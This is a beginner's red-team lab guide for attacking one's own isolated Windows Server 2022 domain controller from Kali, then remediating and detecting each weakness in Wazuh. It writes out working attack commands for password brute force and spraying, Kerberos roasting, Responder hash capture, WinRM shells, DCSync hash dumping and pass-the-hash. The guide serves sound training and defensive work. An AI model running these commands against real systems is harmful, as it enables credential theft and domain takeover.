SIEM LAB · VOLUME 3 · RED TEAM

Attacking Your Own Windows Server from Kali, Then Fixing It

The offensive counterpart to Volume 2, rewritten for a first-timer. Every command is broken into pieces so you know exactly what each part does — and every weakness you find is closed again at the end.

Written for	Someone who has **never** used these tools before
Target	WinServer — Windows Server 2022 Domain Controller (`corp.local`), at `10.0.0.10`
Attack host	Kali Linux `10.0.0.30` (VirtualBox, `intnet`)
Defender	SIEM-Ubuntu `10.0.0.40` — Wazuh 4.14.8
Lab network	VirtualBox `intnet` , `10.0.0.0/24` , fully isolated from the internet
How to use it	Read Part 0, then Part 1. Type every command yourself, one at a time, on **your own VM**.

> **Read this before anything else.** Every command in this document is meant to be run against `10.0.0.10` — the Windows Server VM *you built*, on an isolated VirtualBox network with no route to the internet. Attacking a computer you do not own or have written permission to test is a crime in every jurisdiction. The skill is identical whether you use it as an attacker or a defender; only the paperwork (and the jail time) is different. Keep it in the lab.

Scope — who, what, and why

This is the mirror image of Volume 2. That document hardened your server and proved your SIEM detected the changes. This one attacks the server the way a real intruder would, so that (a) you understand what the defender is defending against, and (b) you can watch your own detections fire in Wazuh.

In scope

One machine you own: the WinServer VM at `10.0.0.10`, attacked from the Kali VM at `10.0.0.30`, on the isolated `intnet` segment. Reconnaissance, enumeration, credential attacks, and post-exploitation are all in scope *because you own the target and the network is disconnected from everything*. Snapshot the VM before you begin so a mistake costs you two minutes, not an evening.

Out of scope — permanently

Any machine you do not own. Any network that reaches the internet. Your school, someone else's Wi-Fi, a "friend's" server. **Never run Responder, Hydra or an exploit on a network you do not control** — they are loud, they attack everyone on the segment at once, and that is exactly what turns a curious beginner into a criminal case. If in doubt, stop.

What you will learn to actually do	What this guide still will not make you
• Find and fingerprint a host on a network • Read a Windows server's services, domain, users and shares without logging in • Attack passwords the smart way: spray, brute-force, AS-REP roast, Kerberoast • Poison name resolution to steal a hash, and crack it • Read and understand every command you type • Fix every single one of those weaknesses, and detect them	• A licensed penetration tester. There is a legal and reporting side this does not cover • An expert at any of these tools. Real engagements need weeks of reading • Someone who can attack safely off the lab bench. Do **not** reuse these commands on a production network until you fully understand them

Contents

0 How to read this guide (shell basics & the command boxes)

1 How an attack actually works (the kill chain)

2 Recon — find the target, map its doors

3 Enumeration — read it before you break it

4 Credential attacks — the main event (your brute-force example)

5 Turning a password into a shell

6 Post-exploitation — showing impact, then stopping

7 Remediation — fix everything you just broke (the whole point)

8 Cheat sheet, glossary & writeup template

A Finding-by-finding results table for your report

0 How to read this guide

If you have never opened a terminal before, read this page twice. Every command in this document follows the same shape, and once you can read one command you can read them all.

0.1 The terminal

On Kali, open the **Terminal** app (a black rectangle icon in the top-left, or press `Ctrl+Alt+T`). You get a prompt that looks like `kali@kali:~$`. You type a command, press **Enter**, and the computer answers in text. That back-and-forth is the whole interface for the tools in this guide.

0.2 The command boxes

Whenever you see a dark box, it is a command to type into that terminal:

```
sudo nmap -sn 10.0.0.0/24
# anything in grey after a # is a comment — do NOT type it
```

What you see	What it means
`sudo`	"SuperUser DO." Run the rest of the command as the administrator. It may ask for a password — type **your Kali login password** (`kali`). Nothing appears as you type it; that is normal. Press Enter.
`anything after #`	A comment. Notes for you. Never type it.
`\ at the end of a line`	"The command continues on the next line." Type the whole thing as one command (or paste it).
`SOMETHING or <value>`	A placeholder. Replace it with your own value. Example: `rockyou.txt` → the actual path.
`-x or --xyz`	A **flag** (an option). Flags change what a command does. Every flag is explained in the table right below the command.

0.3 The command-anatomy tables

Below *every* important command in this guide there is a small table titled "Command anatomy." It splits the command into pieces and tells you what each piece does. Here is a worked example — read the table top to bottom and the command will make sense:

```
sudo nmap -sn 10.0.0.0/24
```

Piece	What it does
`sudo`	Run as administrator (the scan needs low-level network access).
`nmap`	The tool. *Nmap* is the industry-standard network scanner.
`-sn`	"No port scan." Just tell me which hosts are alive. (An `s` is a scan type, `n` for "no ports.")

`10.0.0.0/24`	The target. The `/24` means “all 254 addresses from .1 to .254,” i.e. the whole lab subnet.

Three habits that make this painless

- **Paste, don't rush.** Copy a command into the terminal and read the anatomy table before pressing Enter.
- **Ctrl + C stops anything.** If a command seems stuck or is running forever, hold `Ctrl` and press `C` to stop it.
- **One command at a time.** Run it, read the output, then move on. This guide is written so the output of each step tells you whether to continue.

1 How an attack actually works

Beginners imagine hacking as typing exploit code until a shell pops. In reality it is a slow, boring, methodical loop: *gather → understand → guess → try → repeat*. The whole job is done in stages, and each stage only exists to feed the next.

1.1 The five stages

Recon → **Enumeration** → **Credential attack** → **Exploitation** → **Post-exploitation**

Stage	What it means in plain English	On your lab
Recon	"Who is out there and what ports are open?" Like walking a street writing down which houses have open windows.	Find `10.0.0.10` and list its open ports.
Enumeration	"What can I learn without breaking in?" Names, the domain, users, shares, versions.	Discover domain `corp.local`, users, SMB settings.
Credential attack	"Can I get a username and password?" Guess weak ones, capture hashes, or roast the Kerberos protocol.	Your brute-force example lives here.
Exploitation	"Use the password to log in and run code."	WinRM shell, SMB, or RDP.
Post-exploitation	"What more can I reach now that I am in?" Other users, hashes, the whole domain.	Dump local hashes, attempt DCSync, show impact.

1.2 Your lab, drawn out

```
HOST (Windows 11)  ──────────────────────────────────────────
   │  VirtualBox
   │
   ├── Kali          10.0.0.30   ← YOU attack from here  (this doc)
   ├── WinServer DC  10.0.0.10   ← the target  (Server 2022, domain corp.local)
   └── SIEM-Ubuntu   10.0.0.40   ← Wazuh watches. Turn it on to see yourself get caught.
                        all three on VirtualBox "intnet", 10.0.0.0/24, no internet
```

What we actually found on *your* server (from the live recon run)

This guide is not generic — it is written around what your VM actually exposes:

- Host role: **Active Directory Domain Controller** (not a plain member server).
- Domain: `corp.local` · computer name: `SERVER` · OS build `20348.587` (early 2022 patch level — old).
- Open & interesting: `53` DNS, `88` Kerberos, `135` RPC, `389/636` LDAP, `445` SMB, `464` kpasswd, `3268/3269` Global Catalog, `5985` WinRM.
- Already well defended: **SMB signing required**, **SMBv1 disabled**, **anonymous LDAP search denied**, **RDP (3389) closed on the lab network**.

Translation: the "easy" network exploits are closed, so the realistic path is exactly the one you named — **credentials**. That is a perfect first target.

1.3 Set up your three tools of war

1 **Snapshot the target first.**
In VirtualBox, select **WinServer** → Snapshots → Take. If you break it, restore in seconds. Do this now, not when you need it.

2 **Boot Kali and confirm your lab address.**

```
ip -br a
```

Piece	What it does
`ip`	The modern Linux networking tool.
`-br`	"Brief." One tidy line per network card instead of a wall of detail.
`a`	Shortcut for the `address` sub-command → show IP addresses.

You should see `10.0.0.30/24` on `eth0` (the `intnet` card). If not, fix your Kali network before going on.

3 **Make a working folder and confirm the target is alive.**

```
mkdir -p ~/lab/redteam
cd ~/lab/redteam
ping -c2 10.0.0.10
```

Piece	What it does
`mkdir -p ~/lab/redteam`	*Make directory.* `-p` creates the parent folders too and does not complain if it already exists. `~` means your home folder (`/home/kali`). You now have a tidy folder for this exercise.
`cd ~/lab/redteam`	*Change directory* — go into that folder so the files you make later land there.

`ping -c2 10.0.0.10`	*Ping* sends tiny test packets. `-c2` = send exactly 2 then stop (otherwise it pings forever). If you get replies, your target is reachable.

> **A hiccup you may hit (we did)**
>
> If the target suddenly stops answering after heavy scanning, it is a VirtualBox quirk where the guest's little virtual network card drops while idle. Fix it by re-plugging the virtual cable from the host: `VBoxManage controlvm "WinServer" setlinkstate1 off` then `... setlinkstate1 on`. Then scan again. Nothing is broken.

2 Recon — find the target, map its doors

You cannot attack what you cannot see. Recon answers two questions: *which IP is my server?* and *which ports are open on it?* Do not skip this to "get to the hacking" — everything later depends on it.

2.1 Find the host

The lab network has no DHCP. Your server has a static address; you just do not know it yet. Everything on `10.0.0.0/24` that is alive is a VM. Sweep the network:

```
sudo nmap -sn 10.0.0.0/24
```

Piece	What it does
`sudo`	Run as admin. Scanners need raw network access.
`nmap`	The scanner. Reads like "N-map" — *Network Mapper*.
`-sn`	Host-discovery only (no ports). "Just tell me who is alive."
`10.0.0.0/24`	Your whole lab subnet (254 addresses). You are asking about all of them at once.

Output we got — the server is `10.0.0.10`, MAC `08:00:27:F7:2C:54`.

```
Nmap scan report for 10.0.0.10
Host is up (0.0015s latency).
MAC Address: 08:00:27:F7:2C:54 (Oracle VirtualBox virtual NIC)
Nmap scan report for 10.0.0.30
Host is up.
```

> **Reading this output**
>
> "Host is up" means it answered. The **MAC address** is the hardware address of the network card — the `08:00:27` prefix is VirtualBox's fingerprint, which proves it is a VM, not a physical machine. Other tools for the same job: `ip neigh` (look at your ARP table), `arp-scan --localnet`, and `netdiscover -r 10.0.0.0/24`.

2.2 Map the doors (port scan)

A port is a numbered door into the machine (0–65535). A scan tells you which are open. Two passes: a fast sweep of all ports to find the open ones, then a slow, careful pass on just those to learn what is behind them.

```
sudo nmap -Pn -sS -p- --min-rate 2000 -T4 10.0.0.10 -oN nmap-all.txt
sudo nmap -Pn -sV -sC -p 53,88,135,389,445,464,636,3268,3269,5985,9389,47001 10.0.0.10 -oN nmap-services.txt
```

Anatomy of the first (fast) scan

Piece	What it does

`-Pn`	"Treat the host as up; don't test with a ping first." Windows firewalls often block ping, so this stops us from wrongly thinking the host is offline.
`-sS`	**SYN scan** (aka "half-open"). Sends the first half of a connection handshake and reads the reply, then backs off. Fast and quiet. Needs `sudo`.
`-p-`	"All ports." The lone dash means **1 through 65535** instead of nmap's default 1000.
`--min-rate 2000`	Send at least **2000 packets per second**. Makes a full scan take seconds, not hours.
`-T4`	Timing template 4 of 6 = "aggressive/fast." (`-T0` is paranoid-slow, `-T5` is insane-fast.)
`10.0.0.10`	The target.
`-oN nmap-all.txt`	Save the **N**ormal output to a file so you can read it later.

Anatomy of the second (version) scan

Piece	What it does
`-sV`	**Version detection.** Poke each open port to learn the software and version behind it.
`-sC`	Run nmap's **default scripts** — safe little probes that gather extra detail (SMB settings, TLS info, and so on).
`-p 53,88,…`	Only scan this comma-separated list of ports (the ones the first scan found open). Faster than re-scanning everything.

Port	Service	Why a beginner cares
`445`	SMB (file sharing)	Password attacks, share listing, hashes. The single most useful port.
`88`	Kerberos	User enumeration, AS-REP roasting, Kerberoasting — two of the best attacks in the book.
`389 / 636`	LDAP / LDAPS	Read the directory: users, groups, everything.
`5985`	WinRM	Once you have a password, this gives you a remote shell.
`53`	DNS	Leaks the domain name and internal names.
`3389`	RDP (closed here)	Graphical login — closed on your lab net. Note that and move on.

> **What a beginner should take from this scan**
>
> So many services at once, in this exact pattern, means **Domain Controller**. That is the most important machine on any Windows network, and it is why this lab is a great target: one password on a DC can mean the whole kingdom.

3 Enumeration — read it before you break it

Enumeration is asking the server polite questions and writing down the answers. Nothing here is an exploit; it is all the server volunteering information. The more you collect, the smaller your guesswork later.

3.1 SMB: share list and settings

```
smbclient -L //10.0.0.10 -N
netexec smb 10.0.0.10
enum4linux -a 10.0.0.10
```

Anatomy: smbclient

Piece	What it does
`smbclient`	An SMB "client" — the Linux equivalent of typing `\\server` into a Windows File Explorer.
`-L //10.0.0.10`	List the shares on that host (the shared folders).
`-N`	No password — try an *anonymous* (null) session, as if we had no account.

Anatomy: netexec

Piece	What it does
`netexec`	The modern, all-in-one AD tool (also called `nxc` or `cme`). Think "one hammer for every Windows service."
`smb`	The protocol to speak. Other choices are `winrm`, `ldap`, `ssh`.
`10.0.0.10`	The target. With no `-u/-p` it tries anonymous and just reports basics.

What `netexec` told us:

```
Windows Server 2022 Build 20348 x64 (name:SERVER) (domain:corp.local)
(signing:True) (SMBv1:None) (Null Auth:True)
```

Anatomy: enum4linux

Piece	What it does
`enum4linux`	A classic script that runs many small queries and prints everything it can about a Windows/Samba host.
`-a`	"All." Run every check: users, shares, OS info, groups, and more.

Reading	Meaning
`signing:True`	Every SMB packet is signed. This **blocks SMB relay attacks** — good defence, and it tells you to attack differently (capture & crack, not relay).
`SMBv1:None`	The ancient, wormable SMBv1 is off. No EternalBlue-style freebie here.

`Null Auth:True`	You can connect with no username. Nice, but the DC still refuses to list users/shares this way (we tried — `ACCESS_DENIED`).

3.2 LDAP: read the directory (the crown jewels)

LDAP is how Windows exposes its phone book: users, groups, computers. The anonymous root read works, but searching for objects is refused until you authenticate.

```
ldapsearch -x -LLL -H ldap://10.0.0.10 -s base -b "" namingContexts
ldapsearch -x -LLL -H ldap://10.0.0.10 -b "DC=corp,DC=local" "(objectClass=user)" sAMAccountName
```

Anatomy of the first (anonymous root) query

Piece	What it does
`ldapsearch`	The LDAP query tool — like a search engine for the directory.
`-x`	Use "simple" authentication (and here, none — anonymous).
`-LLL`	Print clean output: no comments, no version header, no extra blank lines.
`-H ldap://10.0.0.10`	**H**ost — the server to talk to (the LDAP URL).
`-s base`	Search **s**cope `base` — look only at the very root object, not the whole tree.
`-b ""`	**B**ase DN — start at the root ("empty").
`namingContexts`	The attribute we want. This one reveals the domain's real name.

```
# This is what we got:
namingContexts: DC=corp,DC=local
dnsHostName: Server.corp.local
```

Anatomy of the second (object search) query

Piece	What it does
`-b "DC=corp,DC=local"`	Search this part of the tree — the domain we just learned the name of.
`"(objectClass=user)"`	The **filter** — "give me every object that is a user."
`sAMAccountName`	The one attribute to print per result — the Windows login name.

```
# Searching the directory without a bind is refused:
ldapsearch -x -LLL -H ldap://10.0.0.10 -b "DC=corp,DC=local" "(objectClass=user)" sAMAccountName
Operations error: ... a successful bind must be completed on the connection.
```

"Bind" means log in. The error is the server politely saying "log in first." We will, in Part 5, once we have a password. Good defence on your part.

3.3 DNS: squeeze out internal names

```
dig @10.0.0.10 corp.local NS
nslookup 10.0.0.10 10.0.0.10
```

Piece	What it does
`dig`	DNS lookup tool. Ask questions about the domain's name system.
`@10.0.0.10`	Ask *this* server (the DC is also the DNS server). Without it, you'd ask your own resolver.
`corp.local NS`	Look up the **N**ame **S**erver records — confirms the zone exists.
`nslookup 10.0.0.10 10.0.0.10`	Reverse lookup: "which name goes with this IP?" (first is the target, second is the DNS server to ask).

3.4 What we now know

(the built-in Domain Admin, RID 500)

Fact	Value
Target IP	`10.0.0.10`
Domain	`corp.local`
Computer name	`SERVER`
Role	Domain Controller, Windows Server 2022 build 20348.587
Known account	`administrator`
Distance from compromise	**One weak password.**

4 Credential attacks — the main event

This is the part you asked about: brute-forcing easy passwords. Before you fire a single guess, understand that a password attack on Active Directory has a dangerous failure mode called **account lockout** — too many wrong guesses and the account locks, alerting the defender and possibly breaking services. So we measure first, then attack.

4.1 First, learn the rules: password & lockout policy

The policy dictates your entire strategy. On your own DC you can read it directly. Log into the server (console or RDP) as an admin and run in PowerShell:

```
net accounts
Get-ADDefaultDomainPasswordPolicy
```

Piece	What it does
`net accounts`	A built-in Windows command that prints the password rules for this machine: minimum length, lockout threshold, lockout time.
`Get-ADDefaultDomainPasswordPolicy`	The Active Directory version — the rules for the *whole domain*. Run it in a PowerShell window on the DC.

Or, once you hold any valid credential, read it remotely from Kali:

```
netexec smb 10.0.0.10 -u SOMEUSER -p 'SOMEPASS' --pass-pol
```

Piece	What it does
`-u SOMEUSER`	The username to log in with.
`-p 'SOMEPASS'`	The password. Single quotes protect special characters like `!` and `$` from the shell.
`--pass-pol`	"Show me the password policy" now that I am authenticated.

Policy value	What it means for your attack
Lockout threshold = 0	No lockout. You may brute-force as hard as you like, forever. free pass
Lockout threshold = 5	5 wrong guesses then the account locks. Now you must *spray* (below), not brute-force.
Minimum length < 8, no complexity	Weak passwords exist. Cracking will succeed.
Minimum length 14 + complexity	Brute force is hopeless; you must capture a hash and crack, or find a leak.

> **The two golden rules of guessing**
>
> **1.** Know the lockout threshold before you guess. **2.** Never spend more guesses per account than the threshold (leave one in reserve). Breaking these rules is how beginners lock out the entire domain — and get caught instantly.

4.2 Making a wordlist that is actually clever

A **wordlist** is just a text file, one candidate password per line. Tools read it top to bottom. Kali ships huge ones; `rockyou.txt` (14 million real leaked passwords) is the famous one. But the smart mover is a *targeted* list built from your own lab's culture.

```
ls /usr/share/wordlists/
```

Piece	What it does
`ls`	*List* the contents of a folder so you can see the files.
`/usr/share/wordlists/`	Where Kali keeps its password lists. If `rockyou.txt` is missing, run `sudo gunzip /usr/share/wordlists/rockyou.txt.gz`.

Now build a small, clever list with a **heredoc** — a way to write many lines into a file at once:

```
cat > lab-passwords.txt <<'EOF'
Password1
Password123!
Passw0rd
P@ssw0rd
P@ssw0rd!
Welcome1
Welcome123!
Admin123!
Administrator1
corp.local
Corp@2022
Corp@2026
Server2022
Server2022!
labadmin
labadmin123
lab@123
ChangeMe123!
Summer2026!
Winter2026!
EOF
```

Piece	What it does
`cat > lab-passwords.txt`	Take everything typed next and write it into the file `lab-passwords.txt` (this creates it).
`<<'EOF'`	"Keep reading lines until you see the word `EOF`." The quotes prevent the shell from touching the contents — so `!` and `$` stay literal.
`EOF`	The end marker. Everything above it became the file. (You can name the marker anything, but `EOF` = End Of File is the convention.)

> **Pro habit**
>
> Real engagements build lists from the target's own words (product names, city, season + year, `CompanyName123`). Tools like `CeWL` spider a website and harvest its words; `hashcat --rules` mangles a base word into hundreds of variants.

4.3 Brute-force one account (SMB)

Brute force = **many passwords, one account**. `Hydra` is the classic tool. The built-in `administrator` account is a great target because it always exists.

```
hydra -l administrator -P lab-passwords.txt smb://10.0.0.10
```

Piece	What it does
`hydra`	An online password-guessing tool. "Online" means it actually logs in over the network, one guess at a time.
`-l administrator`	Lowercase **l** = one login name to attack.
`-P lab-passwords.txt`	Capital **P** = a file of passwords to try, in order. (Remember: `-l` single login, `-L` list of logins; `-p` single password, `-P` list.)
`smb://10.0.0.10`	The protocol and target. Hydra speaks many protocols; we are using SMB (Windows file sharing / login).

The exact same job with `netexec`, which is friendlier and prints the found password clearly:

```
netexec smb 10.0.0.10 -u administrator -p lab-passwords.txt --continue-on-success
```

Piece	What it does
`-u administrator`	The username.
`-p lab-passwords.txt`	Here `-p` accepts a *file*: netexec tries each line as a password.
`--continue-on-success`	Keep trying even after finding one that works (by default it stops at the first hit). Handy for spraying, dangerous with lockouts.

> **If the account is set to lock out**
>
> Stop before you reach the threshold. With a 5-password lockout, send only **1** guess per account per 30 minutes, across many accounts — that is spraying, next.

4.4 Password spraying (the professional's brute force)

Spraying flips brute force on its head: **one password, many accounts**. It never trips a per-account lockout because each account only sees one guess. First, a user list:

```
cat > users.txt <<'EOF'
administrator
labadmin
guest
svc-backup
EOF
```

Now the spray itself:

```
netexec smb 10.0.0.10 -u users.txt -p 'Winter2026!' --continue-on-success
netexec smb 10.0.0.10 -u users.txt -p 'Corp@2026'   --continue-on-success
```

Piece	What it does
`-u users.txt`	Capital-style: `-u` accepts a **file of usernames** here, so it tries every user in the list.
`-p 'Winter2026!'`	Just **one** password against all of them. Then you repeat with the next password. That is the "low and slow" pattern.

4.5 Kerberos attacks — the AD-native way

Kerberos is the domain's authentication protocol, and it is full of documented weaknesses that need *no password* if you find the right account. Two classics:

a) Enumerate valid usernames

```
kerbrute userenum --dc 10.0.0.10 -d corp.local /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
```

Piece	What it does
`kerbrute userenum`	A tool that asks Kerberos about usernames. Kerberos replies differently for real vs fake users, so you learn which names exist without any password.
`--dc 10.0.0.10`	The domain controller to ask.
`-d corp.local`	The domain name.
`…usernames.txt`	The wordlist of candidate names to test. Install the lists with `sudo apt install seclists` if missing.

b) AS-REP roasting — steal a crackable hash with no login at all

If an account is flagged "do not require Kerberos pre-authentication," you can ask the DC for a blob encrypted with that user's password and crack it offline. On your lab:

```
impacket-GetNPUsers corp.local/ -usersfile users.txt -no-pass -dc-ip 10.0.0.10 -format hashcat -outputfile asrep.txt
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
```

Piece	What it does

`impacket-GetNPUsers`	The Impacket tool that performs the AS-REP roast — it asks the DC for a ticket for each user and saves the crackable ones.
`corp.local/`	The domain, with no username after the slash — we are not authenticating.
`-usersfile users.txt`	Try these usernames.
`-no-pass`	Do not attempt a login (the whole point — this works without credentials).
`-dc-ip 10.0.0.10`	Where the domain controller is.
`-format hashcat`	Write the hashes in the format `hashcat` expects.
`-outputfile asrep.txt`	Save the results here.

Anatomy: hashcat

Piece	What it does
`hashcat`	The fastest hash-cracking tool. It guesses passwords, hashes them, and compares — offline, so no lockouts and no network.
`-m 18200`	The **hash type**. `18200` = AS-REP. Using the wrong number just fails loudly.
`asrep.txt`	The file of hashes to crack.
`rockyou.txt`	The wordlist of guesses.

`-m 18200` is the AS-REP hash type. (We checked `administrator` on your DC: it is not roastable — a good setting. The lesson is to look for accounts that are.)

c) Kerberoasting — crack a service account (needs any one valid login)

Every service with a registered SPN can have a ticket requested by *any* authenticated user. That ticket is encrypted with the service account's password hash and can be cracked offline.

```
impacket-GetUserSPNs corp.local/USER:PASS -dc-ip 10.0.0.10 -request -outputfile kerb.txt
hashcat -m 13100 kerb.txt /usr/share/wordlists/rockyou.txt
```

Piece	What it does
`impacket-GetUserSPNs`	Lists "service principal names" (accounts tied to services) and, with `-request`, pulls their tickets.
`corp.local/USER:PASS`	Your *valid* low-privilege login — any normal user works here.
`-request`	Actually request the crackable service tickets (not just list).
`-m 13100`	hashcat's **Kerberoast** ticket type.

4.6 Steal a hash with no attack at all: LLMNR/NBT-NS poisoning

This is often the *first* thing that works on a real network, and it needs no usernames at all. Windows machines constantly shout "who is *TheServer*?" across the network using old name-resolution protocols (LLMNR, NBT-NS, mDNS). If you answer *everyone*, the victim sends you its login hash, which you then crack offline.

```
sudo responder -I eth0 -dwv
```

Piece	What it does
`responder`	A tool that listens on the network and *answers* those name shouts with "that's me!", capturing whatever credentials get sent.
`-I eth0`	Listen on this network card (`eth0` = your `intnet` card at 10.0.0.30).
`-d`	Answer DHCP queries too.
`-w`	Run the WPAD rogue-proxy (catches proxy auto-discovery attempts).
`-v`	Verbose — show what it captured as it happens.

> **Responder attacks everyone on the segment — lab only**
>
> This is the tool that must **never** run outside your isolated network. It will try to capture credentials from every machine it can reach. On your lab, start it, then do something on the server that triggers a name lookup (open a share, map a drive, or simply browse `\\does-not-exist` at the server's console). Captured hashes appear under `~/.responder/logs/` or `/usr/share/responder/logs/`.

```
hashcat -m 5600 ~/.responder/logs/SMB-NTLMv2-SSP-*.txt /usr/share/wordlists/rockyou.txt
```

The `*` is a wildcard meaning "any file matching this pattern." `-m 5600` = NetNTLMv2, the hash type Responder captures.

hashcat mode	Hash type	Where it comes from
`5600`	NetNTLMv2	Responder / network capture
`18200`	AS-REP	`GetNPUsers`
`13100`	Kerberoast (TGS)	`GetUserSPNs`
`1000`	NTLM (Windows hash)	Offline dump of SAM / NTDS

5 Turning a password into a shell

A cracked password is only the door key. This part walks through it and proves you are now on the machine.

5.1 Remote shell over WinRM (port 5985)

WinRM is Windows' built-in remote PowerShell. If it is open — it is here — and you have admin credentials, you get a shell.

```
netexec winrm 10.0.0.10 -u administrator -p 'THE_PASSWORD' -x whoami
```

Piece	What it does
`netexec winrm`	Same hammer, but speaking WinRM instead of SMB.
`-u / -p`	The working credentials you found.
`-x whoami`	eXecute this single command on the remote machine. `whoami` prints which account you are running as — proof you are in.

```
evil-winrm -i 10.0.0.10 -u administrator -p 'THE_PASSWORD'
```

Piece	What it does
`evil-winrm`	A tool that gives you an interactive remote PowerShell session (a real shell you can type into). Install with `sudo apt install evil-winrm`.
`-i 10.0.0.10`	Target IP (`i` = ip/address).
`-u / -p`	Username and password.

```
# Inside the session — the first three commands any intruder types:
whoami
hostname
net user                    # list local accounts
```

5.2 SMB with credentials: shares and files

```
smbclient -L //10.0.0.10 -U 'corp.local\administrator%THE_PASSWORD'
smbclient //10.0.0.10/SYSVOL -U 'corp.local\administrator%THE_PASSWORD'
```

Piece	What it does
`-U 'user%pass'`	User — supply a username, a `%`, then the password, all in one argument. The backslash and quotes handle the `DOMAIN\user` format.
`//10.0.0.10/SYSVOL`	The share to enter. On a DC, `SYSVOL` and `NETLOGON` are shared to everyone and often hold logon scripts and old passwords.

`netexec smb … --shares` *lists shares and* `--spider` *walks the tree for you.*

5.3 LDAP with credentials: dump the whole directory

```
ldapsearch -x -H ldap://10.0.0.10 -D 'administrator@corp.local' -w 'THE_PASSWORD' -b
"DC=corp,DC=local" "(objectClass=user)" sAMAccountName memberOf
```

Piece	What it does
`-D 'administrator@corp.local'`	**D**istinguished name to *bind* (log in) as — the account querying the directory.
`-w 'THE_PASSWORD'`	The password for that bind. (Use `-W` instead to be prompted, safer than putting it in your history.)
`sAMAccountName memberOf`	Print two attributes per user: the login name and the groups it belongs to — so you can spot Domain Admins.

5.4 RDP

On your lab net port 3389 is closed, so this will fail — and that is a lesson. If it were open: `xfreerdp /v:10.0.0.10 /u:administrator /p:'THE_PASSWORD'` (`/v` = host, `/u` = user, `/p` = password). We note the failure and move on; a good tester does not force a closed door.

6 Post-exploitation — showing impact, then stopping

Once you are a Domain Admin, the honest demonstration of "how bad is this?" takes exactly one command. Then you stop. The goal is to prove the risk, not to ruin your own lab.

6.1 The proof: DCSync

A domain controller replicates password hashes between DCs using a special right. If you hold Domain Admin, you can ask the DC to "replicate" and it will hand you any account's hash — including `krbtgt` (the master key of the whole domain). This is **DCSync**.

```
impacket-secretsdump 'corp.local/administrator:THE_PASSWORD@10.0.0.10' -just-dc-ntlm
```

Piece	What it does
`impacket-secretsdump`	Dumps secret material: local account hashes from SAM, or — with the right to replicate — the whole domain.
`'corp.local/administrator:THE_PASSWORD@10.0.0.10'`	All the login details in one string: `domain/user:password@host`.
`-just-dc-ntlm`	Only dump the domain NT hashes (skip the rest). This is the "game over" output.

> **This is the ceiling. Do not go past it in your lab.**
>
> With the `krbtgt` hash an attacker can forge Golden Tickets that grant access for years. That is real, career-changing damage. In your lab, note the finding, screenshot it, and put the VM back to its snapshot. Understanding the ceiling is the point — living there is not.

6.2 Pass-the-Hash

You do not always need the plaintext. Windows accepts the NT hash directly. If you dumped a hash, you can log in without ever cracking it:

```
netexec smb 10.0.0.10 -u administrator -H 'aad3b435b51404eeaad3b435b51404ee:NT_HASH_HERE'
```

Piece	What it does
`-H <hash>`	**H**ash instead of a password. Windows lets you authenticate with the hash value itself. The part before the colon is the (usually empty) LM hash; the part after is the NT hash.

6.3 A single clean impact demo: add and use a test user

For the writeup, the tidiest demonstration is a throwaway account — exactly what Volume 2 monitored for. Do it once so you can see it in Wazuh, then remove it.

```
net user pentest-user 'Str0ng-Lab-Pass!' /add
net localgroup Administrators pentest-user /add
net localgroup Administrators pentest-user /delete
net user pentest-user /delete
```

Piece	What it does
`net user NAME 'PASS' /add`	Create a local account with that password.
`net localgroup Administrators NAME /add`	Add it to the local Administrators group (the privilege you are demonstrating).
`… /delete`	Remove it from the group and delete the account — clean up after yourself.

Between adding and deleting, check Wazuh: event `4720` (account created) and `4732` (added to a group) should have fired.

7 Remediation — fix everything you just broke

This is why the whole exercise exists. For each attack above, here is the fix. This is the blue-team half, and it is the half that gets paid. Apply these, then re-run the attack and watch it fail.

Attack you used	How to fix it	How to detect it in Wazuh
Brute force / spray (4.3–4.4)	Strong password policy and, crucially, a lockout: `net accounts /minpwlen:14 /lockoutthreshold:5 /lockoutduration:15 /lockoutobservation:30` Enforce MFA. Use *fine-grained password policies* so admin accounts differ from users.	Event `4625` (failed logon) and `4771` / `4768` (Kerberos fail). Alert when one source produces >5 failures in a short window; `4740` = an account locked out.
AS-REP roasting (4.5b)	Require Kerberos pre-authentication on *every* account (the default; audit for exceptions): `Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true}`	`4768` for accounts that should not be requested without pre-auth.
Kerberoasting (4.5c)	Use **gMSA** (group managed service accounts) with 120-char random passwords, or set service account passwords to 25+ random characters. Remove unneeded SPNs. Disable RC4 (use AES only).	`4769` (service ticket requested) with RC4 encryption type is the classic signal.
LLMNR / NBT-NS poisoning (4.6)	Disable the protocols you are not using, by GPO: turn off LLMNR (multicast) and NetBIOS over TCP/IP on all adapters. This removes the conversation an attacker can hijack.	Unusual name-resolution and SMB authentication from an unexpected host.
Weak admin password in general	Use **Windows LAPS** so every machine's local admin password is unique and rotated. Put privileged accounts in the **Protected Users** group.	New local-admin activity, `4672` (special privileges assigned).
WinRM as an easy shell (5.1)	Only expose 5985 to management hosts; prefer HTTPS on 5986; disable WinRM where unused. Firewall to `10.0.0.0/24` and to admin workstations only.	Service creation and remote-PowerShell activity; `4688` with process command line.
DCSync / Pass-the-Hash (6.1–6.2)	Least privilege: almost nobody should be Domain Admin. Adopt a tiered admin model; protect `krbtgt`; enable Credential Guard and LSA protection (`RunAsPPL`). Rotate `krbtgt` twice if ever exposed.	`4662` referencing the replication GUIDs `1131f6aa-…` / `1131f6ad-…` = someone is reading hashes. High severity.
Old, unpatched OS (build 20348.587)	Patch. Your DC is at an early-2022 revision. Enable Windows Update / WSUS and stay current.	Vulnerability scanner results in Wazuh's own vulnerability module.

7.1 Settings your server already gets right (keep them)

> **Credit where due**
>
> - **SMB signing required** — blocks relay attacks. Do not turn this off.
> - **SMBv1 disabled** — no EternalBlue-class worm surface.
> - **Anonymous LDAP search denied** — users are not freely readable.
> - **RDP closed on the lab interface** — one fewer door.
>
> Your Volume 2 hardening is visibly working. The remaining gaps are mostly about *credentials and name resolution*, which is exactly where an attacker aims.

7.2 The single biggest win

If you do one thing after reading this: put a **lockout policy plus lengthy passwords** on the domain, and **disable LLMNR/NetBIOS**. Those two moves defeat the two attacks that would most likely succeed against this lab.

8 Cheat sheet, glossary & writeup

8.1 Command cheat sheet

Goal	Command
Find hosts	`sudo nmap -sn 10.0.0.0/24`
Full port scan	`sudo nmap -Pn -sS -p- --min-rate 2000 -T4 10.0.0.10`
Service versions	`sudo nmap -Pn -sV -sC -p 445,88,389,5985 10.0.0.10`
SMB snapshot	`netexec smb 10.0.0.10`
List shares (anon)	`smbclient -L //10.0.0.10 -N`
LDAP root / domain	`ldapsearch -x -H ldap://10.0.0.10 -s base -b "" namingContexts`
